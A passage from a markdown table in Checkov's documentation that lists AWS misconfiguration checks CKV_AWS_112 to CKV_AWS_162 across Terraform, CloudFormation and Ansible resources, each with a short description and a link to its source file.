[IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMWriteAccess.py)                                                                                                       |\n|  443 | CKV_AWS_112              | resource                         | aws_ssm_document                                                                                 | Ensure Session Manager data is encrypted in transit                                                                                                                                                      | Terraform               | [SSMSessionManagerDocumentEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMSessionManagerDocumentEncryption.py)                                                         |\n|  444 | CKV_AWS_113              | resource                         | aws_ssm_document                                                                                 | Ensure Session Manager logs are enabled and encrypted                                                                                                                                                    | Terraform               | [SSMSessionManagerDocumentLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMSessionManagerDocumentLogging.py)                                                               |\n|  445 | CKV_AWS_114              | resource                         | aws_emr_cluster                                                                                  | Ensure that EMR clusters with Kerberos have Kerberos Realm set                                                                                                                                           | Terraform               | [EMRClusterKerberosAttributes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterKerberosAttributes.py)                                                                       |\n|  446 | CKV_AWS_115              | resource                         | AWS::Lambda::Function                                                                            | Ensure that AWS Lambda function is configured for function-level concurrent execution limit                                                                                                              | Cloudformation          | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py)                                    |\n|  447 | CKV_AWS_115              | resource                         | AWS::Serverless::Function                                                                        | Ensure that AWS Lambda function is configured for function-level concurrent execution limit                                                                                                              | Cloudformation          | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py)                                    |\n|  448 | CKV_AWS_115              | resource                         | aws_lambda_function                                                                              | Ensure that AWS Lambda function is configured for function-level concurrent execution limit                                                                                                              | Terraform               | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py)                                         |\n|  449 | CKV_AWS_116              | resource                         | AWS::Lambda::Function                                                                            | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ)                                                                                                                               | Cloudformation          | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaDLQConfigured.py)                                                                                    |\n|  450 | CKV_AWS_116              | resource                         | AWS::Serverless::Function                                                                        | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ)                                                                                                                               | Cloudformation          | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaDLQConfigured.py)                                                                                    |\n|  451 | CKV_AWS_116              | resource                         | aws_lambda_function                                                                              | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ)                                                                                                                               | Terraform               | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaDLQConfigured.py)                                                                                         |\n|  452 | CKV_AWS_117              | resource                         | AWS::Lambda::Function                                                                            | Ensure that AWS Lambda function is configured inside a VPC                                                                                                                                               | Cloudformation          | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaInVPC.py)                                                                                                    |\n|  453 | CKV_AWS_117              | resource                         | AWS::Serverless::Function                                                                        | Ensure that AWS Lambda function is configured inside a VPC                                                                                                                                               | Cloudformation          | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaInVPC.py)                                                                                                    |\n|  454 | CKV_AWS_117              | resource                         | aws_lambda_function                                                                              | Ensure that AWS Lambda function is configured inside a VPC                                                                                                                                               | Terraform               | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaInVPC.py)                                                                                                         |\n|  455 | CKV_AWS_118              | resource                         | AWS::RDS::DBInstance                                                                             | Ensure that enhanced monitoring is enabled for Amazon RDS instances                                                                                                                                      | Cloudformation          | [RDSEnhancedMonitorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSEnhancedMonitorEnabled.py)                                                                        |\n|  456 | CKV_AWS_118              | resource                         | aws_db_instance                                                                                  | Ensure that enhanced monitoring is enabled for Amazon RDS instances                                                                                                                                      | Terraform               | [RDSEnhancedMonitorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSEnhancedMonitorEnabled.py)                                                                             |\n|  457 | CKV_AWS_118              | resource                         | aws_rds_cluster_instance                                                                         | Ensure that enhanced monitoring is enabled for Amazon RDS instances                                                                                                                                      | Terraform               | [RDSEnhancedMonitorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSEnhancedMonitorEnabled.py)                                                                             |\n|  458 | CKV_AWS_119              | resource                         | AWS::DynamoDB::Table                                                                             | Ensure DynamoDB Tables are encrypted using a KMS Customer Managed CMK                                                                                                                                    | Cloudformation          | [DynamoDBTablesEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamoDBTablesEncrypted.py)                                                                            |\n|  459 | CKV_AWS_119              | resource                         | aws_dynamodb_table                                                                               | Ensure DynamoDB Tables are encrypted using a KMS Customer Managed CMK                                                                                                                                    | Terraform               | [DynamoDBTablesEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamoDBTablesEncrypted.py)                                                                                 |\n|  460 | CKV_AWS_120              | resource                         | AWS::ApiGateway::Stage                                                                           | Ensure API Gateway caching is enabled                                                                                                                                                                    | Cloudformation          | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayCacheEnable.py)                                                                                |\n|  461 | CKV_AWS_120              | resource                         | AWS::Serverless::Api                                                                             | Ensure API Gateway caching is enabled                                                                                                                                                                    | Cloudformation          | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayCacheEnable.py)                                                                                |\n|  462 | CKV_AWS_120              | resource                         | aws_api_gateway_stage                                                                            | Ensure API Gateway caching is enabled                                                                                                                                                                    | Terraform               | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayCacheEnable.py)                                                                                     |\n|  463 | CKV_AWS_121              | resource                         | aws_config_configuration_aggregator                                                              | Ensure AWS Config is enabled in all regions                                                                                                                                                              | Terraform               | [ConfigConfgurationAggregatorAllRegions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ConfigConfgurationAggregatorAllRegions.py)                                                   |\n|  464 | CKV_AWS_122              | resource                         | aws_sagemaker_notebook_instance                                                                  | Ensure that direct internet access is disabled for an Amazon SageMaker Notebook Instance                                                                                                                 | Terraform               | [SageMakerInternetAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SageMakerInternetAccessDisabled.py)                                                                 |\n|  465 | CKV_AWS_123              | resource                         | AWS::EC2::VPCEndpointService                                                                     | Ensure that VPC Endpoint Service is configured for Manual Acceptance                                                                                                                                     | Cloudformation          | [VPCEndpointAcceptanceConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/VPCEndpointAcceptanceConfigured.py)                                                            |\n|  466 | CKV_AWS_123              | resource                         | aws_vpc_endpoint_service                                                                         | Ensure that VPC Endpoint Service is configured for Manual Acceptance                                                                                                                                     | Terraform               | [VPCEndpointAcceptanceConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/VPCEndpointAcceptanceConfigured.py)                                                                 |\n|  467 | CKV_AWS_124              | resource                         | aws_cloudformation_stack                                                                         | Ensure that CloudFormation stacks are sending event notifications to an SNS topic                                                                                                                        | Terraform               | [CloudformationStackNotificationArns.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudformationStackNotificationArns.py)                                                         |\n|  468 | CKV_AWS_126              | resource                         | aws_instance                                                                                     | Ensure that detailed monitoring is enabled for EC2 instances                                                                                                                                             | Terraform               | [EC2DetailedMonitoringEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2DetailedMonitoringEnabled.py)                                                                       |\n|  469 | CKV_AWS_127              | resource                         | aws_elb                                                                                          | Ensure that Elastic Load Balancer(s) uses SSL certificates provided by AWS Certificate Manager                                                                                                           | Terraform               | [ELBUsesSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBUsesSSL.py)                                                                                                           |\n|  470 | CKV_AWS_129              | resource                         | aws_db_instance                                                                                  | Ensure that respective logs of Amazon Relational Database Service (Amazon RDS) are enabled                                                                                                               | Terraform               | [DBInstanceLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceLogging.py)                                                                                             |\n|  471 | CKV_AWS_130              | resource                         | aws_subnet                                                                                       | Ensure VPC subnets do not assign public IP by default                                                                                                                                                    | Terraform               | [SubnetPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SubnetPublicIP.py)                                                                                                   |\n|  472 | CKV_AWS_131              | resource                         | AWS::ElasticLoadBalancingV2::LoadBalancer                                                        | Ensure that ALB drops HTTP headers                                                                                                                                                                       | Cloudformation          | [ALBDropHttpHeaders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBDropHttpHeaders.py)                                                                                      |\n|  473 | CKV_AWS_131              | resource                         | aws_alb                                                                                          | Ensure that ALB drops HTTP headers                                                                                                                                                                       | Terraform               | [ALBDropHttpHeaders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDropHttpHeaders.py)                                                                                           |\n|  474 | CKV_AWS_131              | resource                         | aws_lb                                                                                           | Ensure that ALB drops HTTP headers                                                                                                                                                                       | Terraform               | [ALBDropHttpHeaders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDropHttpHeaders.py)                                                                                           |\n|  475 | CKV_AWS_133              | resource                         | aws_db_instance                                                                                  | Ensure that RDS instances has backup policy                                                                                                                                                              | Terraform               | [DBInstanceBackupRetentionPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceBackupRetentionPeriod.py)                                                                 |\n|  476 | CKV_AWS_133              | resource                         | aws_rds_cluster                                                                                  | Ensure that RDS instances has backup policy                                                                                                                                                              | Terraform               | [DBInstanceBackupRetentionPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceBackupRetentionPeriod.py)                                                                 |\n|  477 | CKV_AWS_134              | resource                         | aws_elasticache_cluster                                                                          | Ensure that Amazon ElastiCache Redis clusters have automatic backup turned on                                                                                                                            | Terraform               | [ElasticCacheAutomaticBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticCacheAutomaticBackup.py)                                                                         |\n|  478 | CKV_AWS_135              | resource                         | [?\"amazon.aws.ec2_instance\" != null][]                                                           | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  479 | CKV_AWS_135              | resource                         | [?\"ec2_instance\" != null][]                                                                      | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  480 | CKV_AWS_135              | resource                         | [].block[?\"amazon.aws.ec2_instance\" != null][]                                                   | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  481 | CKV_AWS_135              | resource                         | [].block[?\"ec2_instance\" != null][]                                                              | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  482 | CKV_AWS_135              | resource                         | [].block[].block[?\"amazon.aws.ec2_instance\" != null][]                                           | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  483 | CKV_AWS_135              | resource                         | [].block[].block[?\"ec2_instance\" != null][]                                                      | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  484 | CKV_AWS_135              | resource                         | [].block[].block[].block[?\"amazon.aws.ec2_instance\" != null][]                                   | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  485 | CKV_AWS_135              | resource                         | [].block[].block[].block[?\"ec2_instance\" != null][]                                              | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  486 | CKV_AWS_135              | resource                         | [].tasks[?\"amazon.aws.ec2_instance\" != null][]                                                   | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  487 | CKV_AWS_135              | resource                         | [].tasks[?\"ec2_instance\" != null][]                                                              | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  488 | CKV_AWS_135              | resource                         | [].tasks[].block[?\"amazon.aws.ec2_instance\" != null][]                                           | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  489 | CKV_AWS_135              | resource                         | [].tasks[].block[?\"ec2_instance\" != null][]                                                      | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  490 | CKV_AWS_135              | resource                         | [].tasks[].block[].block[?\"amazon.aws.ec2_instance\" != null][]                                   | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  491 | CKV_AWS_135              | resource                         | [].tasks[].block[].block[?\"ec2_instance\" != null][]                                              | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  492 | CKV_AWS_135              | resource                         | [].tasks[].block[].block[].block[?\"amazon.aws.ec2_instance\" != null][]                           | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  493 | CKV_AWS_135              | resource                         | [].tasks[].block[].block[].block[?\"ec2_instance\" != null][]                                      | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Ansible                 | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py)                                                                                                       |\n|  494 | CKV_AWS_135              | resource                         | aws_instance                                                                                     | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Terraform               | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2EBSOptimized.py)                                                                                                 |\n|  495 | CKV_AWS_136              | resource                         | AWS::ECR::Repository                                                                             | Ensure that ECR repositories are encrypted using KMS                                                                                                                                                     | Cloudformation          | [ECRRepositoryEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRRepositoryEncrypted.py)                                                                              |\n|  496 | CKV_AWS_136              | resource                         | aws_ecr_repository                                                                               | Ensure that ECR repositories are encrypted using KMS                                                                                                                                                     | Terraform               | [ECRRepositoryEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRRepositoryEncrypted.py)                                                                                   |\n|  497 | CKV_AWS_137              | resource                         | aws_elasticsearch_domain                                                                         | Ensure that Elasticsearch is configured inside a VPC                                                                                                                                                     | Terraform               | [ElasticsearchInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchInVPC.py)                                                                                           |\n|  498 | CKV_AWS_137              | resource                         | aws_opensearch_domain                                                                            | Ensure that Elasticsearch is configured inside a VPC                                                                                                                                                     | Terraform               | [ElasticsearchInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchInVPC.py)                                                                                           |\n|  499 | CKV_AWS_138              | resource                         | aws_elb                                                                                          | Ensure that ELB is cross-zone-load-balancing enabled                                                                                                                                                     | Terraform               | [ELBCrossZoneEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBCrossZoneEnable.py)                                                                                           |\n|  500 | CKV_AWS_139              | resource                         | aws_rds_cluster                                                                                  | Ensure that RDS clusters have deletion protection enabled                                                                                                                                                | Terraform               | [RDSDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSDeletionProtection.py)                                                                                     |\n|  501 | CKV_AWS_140              | resource                         | aws_rds_global_cluster                                                                           | Ensure that RDS global clusters are encrypted                                                                                                                                                            | Terraform               | [RDSClusterEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterEncrypted.py)                                                                                         |\n|  502 | CKV_AWS_141              | resource                         | aws_redshift_cluster                                                                             | Ensured that Redshift cluster allowing version upgrade by default                                                                                                                                        | Terraform               | [RedshiftClusterAllowVersionUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterAllowVersionUpgrade.py)                                                           |\n|  503 | CKV_AWS_142              | resource                         | aws_redshift_cluster                                                                             | Ensure that Redshift cluster is encrypted by KMS                                                                                                                                                         | Terraform               | [RedshiftClusterKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterKMSKey.py)                                                                                     |\n|  504 | CKV_AWS_143              | resource                         | aws_s3_bucket                                                                                    | Ensure that S3 bucket has lock configuration enabled by default                                                                                                                                          | Terraform               | [S3BucketObjectLock.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BucketObjectLock.py)                                                                                           |\n|  505 | CKV_AWS_144              | resource                         | aws_s3_bucket                                                                                    | Ensure that S3 bucket has cross-region replication enabled                                                                                                                                               | Terraform               | [S3BucketReplicationConfiguration.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketReplicationConfiguration.yaml)                                                       |\n|  506 | CKV_AWS_144              | resource                         | aws_s3_bucket_replication_configuration                                                          | Ensure that S3 bucket has cross-region replication enabled                                                                                                                                               | Terraform               | [S3BucketReplicationConfiguration.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketReplicationConfiguration.yaml)                                                       |\n|  507 | CKV_AWS_145              | resource                         | aws_s3_bucket                                                                                    | Ensure that S3 buckets are encrypted with KMS by default                                                                                                                                                 | Terraform               | [S3KMSEncryptedByDefault.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3KMSEncryptedByDefault.yaml)                                                                         |\n|  508 | CKV_AWS_145              | resource                         | aws_s3_bucket_server_side_encryption_configuration                                               | Ensure that S3 buckets are encrypted with KMS by default                                                                                                                                                 | Terraform               | [S3KMSEncryptedByDefault.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3KMSEncryptedByDefault.yaml)                                                                         |\n|  509 | CKV_AWS_146              | resource                         | aws_db_cluster_snapshot                                                                          | Ensure that RDS database cluster snapshot is encrypted                                                                                                                                                   | Terraform               | [RDSClusterSnapshotEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterSnapshotEncrypted.py)                                                                         |\n|  510 | CKV_AWS_147              | resource                         | aws_codebuild_project                                                                            | Ensure that CodeBuild projects are encrypted using CMK                                                                                                                                                   | Terraform               | [CodebuildUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodebuildUsesCMK.py)                                                                                               |\n|  511 | CKV_AWS_148              | resource                         | aws_default_vpc                                                                                  | Ensure no default VPC is planned to be provisioned                                                                                                                                                       | Terraform               | [VPCDefaultNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/VPCDefaultNetwork.py)                                                                                             |\n|  512 | CKV_AWS_149              | resource                         | AWS::SecretsManager::Secret                                                                      | Ensure that Secrets Manager secret is encrypted using KMS CMK                                                                                                                                            | Cloudformation          | [SecretManagerSecretEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecretManagerSecretEncrypted.py)                                                                  |\n|  513 | CKV_AWS_149              | resource                         | aws_secretsmanager_secret                                                                        | Ensure that Secrets Manager secret is encrypted using KMS CMK                                                                                                                                            | Terraform               | [SecretManagerSecretEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecretManagerSecretEncrypted.py)                                                                       |\n|  514 | CKV_AWS_150              | resource                         | aws_alb                                                                                          | Ensure that Load Balancer has deletion protection enabled                                                                                                                                                | Terraform               | [LBDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBDeletionProtection.py)                                                                                       |\n|  515 | CKV_AWS_150              | resource                         | aws_lb                                                                                           | Ensure that Load Balancer has deletion protection enabled                                                                                                                                                | Terraform               | [LBDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBDeletionProtection.py)                                                                                       |\n|  516 | CKV_AWS_152              | resource                         | aws_alb                                                                                          | Ensure that Load Balancer (Network/Gateway) has cross-zone load balancing enabled                                                                                                                        | Terraform               | [LBCrossZone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBCrossZone.py)                                                                                                         |\n|  517 | CKV_AWS_152              | resource                         | aws_lb                                                                                           | Ensure that Load Balancer (Network/Gateway) has cross-zone load balancing enabled                                                                                                                        | Terraform               | [LBCrossZone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBCrossZone.py)                                                                                                         |\n|  518 | CKV_AWS_153              | resource                         | aws_autoscaling_group                                                                            | Autoscaling groups should supply tags to launch configurations                                                                                                                                           | Terraform               | [AutoScalingTagging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AutoScalingTagging.py)                                                                                           |\n|  519 | CKV_AWS_154              | resource                         | AWS::Redshift::Cluster                                                                           | Ensure Redshift is not deployed outside of a VPC                                                                                                                                                         | Cloudformation          | [RedshiftInEc2ClassicMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftInEc2ClassicMode.py)                                                                          |\n|  520 | CKV_AWS_154              | resource                         | aws_redshift_cluster                                                                             | Ensure Redshift is not deployed outside of a VPC                                                                                                                                                         | Terraform               | [RedshiftInEc2ClassicMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftInEc2ClassicMode.py)                                                                               |\n|  521 | CKV_AWS_155              | resource                         | AWS::WorkSpaces::Workspace                                                                       | Ensure that Workspace user volumes are encrypted                                                                                                                                                         | Cloudformation          | [WorkspaceUserVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WorkspaceUserVolumeEncrypted.py)                                                                  |\n|  522 | CKV_AWS_155              | resource                         | aws_workspaces_workspace                                                                         | Ensure that Workspace user volumes are encrypted                                                                                                                                                         | Terraform               | [WorkspaceUserVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WorkspaceUserVolumeEncrypted.py)                                                                       |\n|  523 | CKV_AWS_156              | resource                         | AWS::WorkSpaces::Workspace                                                                       | Ensure that Workspace root volumes are encrypted                                                                                                                                                         | Cloudformation          | [WorkspaceRootVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WorkspaceRootVolumeEncrypted.py)                                                                  |\n|  524 | CKV_AWS_156              | resource                         | aws_workspaces_workspace                                                                         | Ensure that Workspace root volumes are encrypted                                                                                                                                                         | Terraform               | [WorkspaceRootVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WorkspaceRootVolumeEncrypted.py)                                                                       |\n|  525 | CKV_AWS_157              | resource                         | AWS::RDS::DBInstance                                                                             | Ensure that RDS instances have Multi-AZ enabled                                                                                                                                                          | Cloudformation          | [RDSMultiAZEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSMultiAZEnabled.py)                                                                                        |\n|  526 | CKV_AWS_157              | resource                         | aws_db_instance                                                                                  | Ensure that RDS instances have Multi-AZ enabled                                                                                                                                                          | Terraform               | [RDSMultiAZEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSMultiAZEnabled.py)                                                                                             |\n|  527 | CKV_AWS_158              | resource                         | AWS::Logs::LogGroup                                                                              | Ensure that CloudWatch Log Group is encrypted by KMS                                                                                                                                                     | Cloudformation          | [CloudWatchLogGroupKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupKMSKey.py)                                                                          |\n|  528 | CKV_AWS_158              | resource                         | aws_cloudwatch_log_group                                                                         | Ensure that CloudWatch Log Group is encrypted by KMS                                                                                                                                                     | Terraform               | [CloudWatchLogGroupKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchLogGroupKMSKey.py)                                                                               |\n|  529 | CKV_AWS_159              | resource                         | aws_athena_workgroup                                                                             | Ensure that Athena Workgroup is encrypted                                                                                                                                                                | Terraform               | [AthenaWorkgroupEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AthenaWorkgroupEncryption.py)                                                                             |\n|  530 | CKV_AWS_160              | resource                         | AWS::Timestream::Database                                                                        | Ensure that Timestream database is encrypted with KMS CMK                                                                                                                                                | Cloudformation          | [TimestreamDatabaseKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/TimestreamDatabaseKMSKey.py)                                                                          |\n|  531 | CKV_AWS_160              | resource                         | aws_timestreamwrite_database                                                                     | Ensure that Timestream database is encrypted with KMS CMK                                                                                                                                                | Terraform               | [TimestreamDatabaseKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TimestreamDatabaseKMSKey.py)                                                                               |\n|  532 | CKV_AWS_161              | resource                         | AWS::RDS::DBInstance                                                                             | Ensure RDS database has IAM authentication enabled                                                                                                                                                       | Cloudformation          | [RDSIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSIAMAuthentication.py)                                                                                  |\n|  533 | CKV_AWS_161              | resource                         | aws_db_instance                                                                                  | Ensure RDS database has IAM authentication enabled                                                                                                                                                       | Terraform               | [RDSIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSIAMAuthentication.py)                                                                                       |\n|  534 | CKV_AWS_162              | resource                         | AWS::RDS::DBCluster                                                                              | Ensure RDS cluster has IAM authentication enabled                                                                                                                                                        | Cloudformation          | [RDSClusterIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSClusterIAMAuthentication.py)                                                                    |\n|  535 | CKV_AWS_162              | resource                         | aws_rds_cluster                                                                                  | Ensure RDS cluster has IAM authentication enabled                                                                                                                                                        | Terraform               | 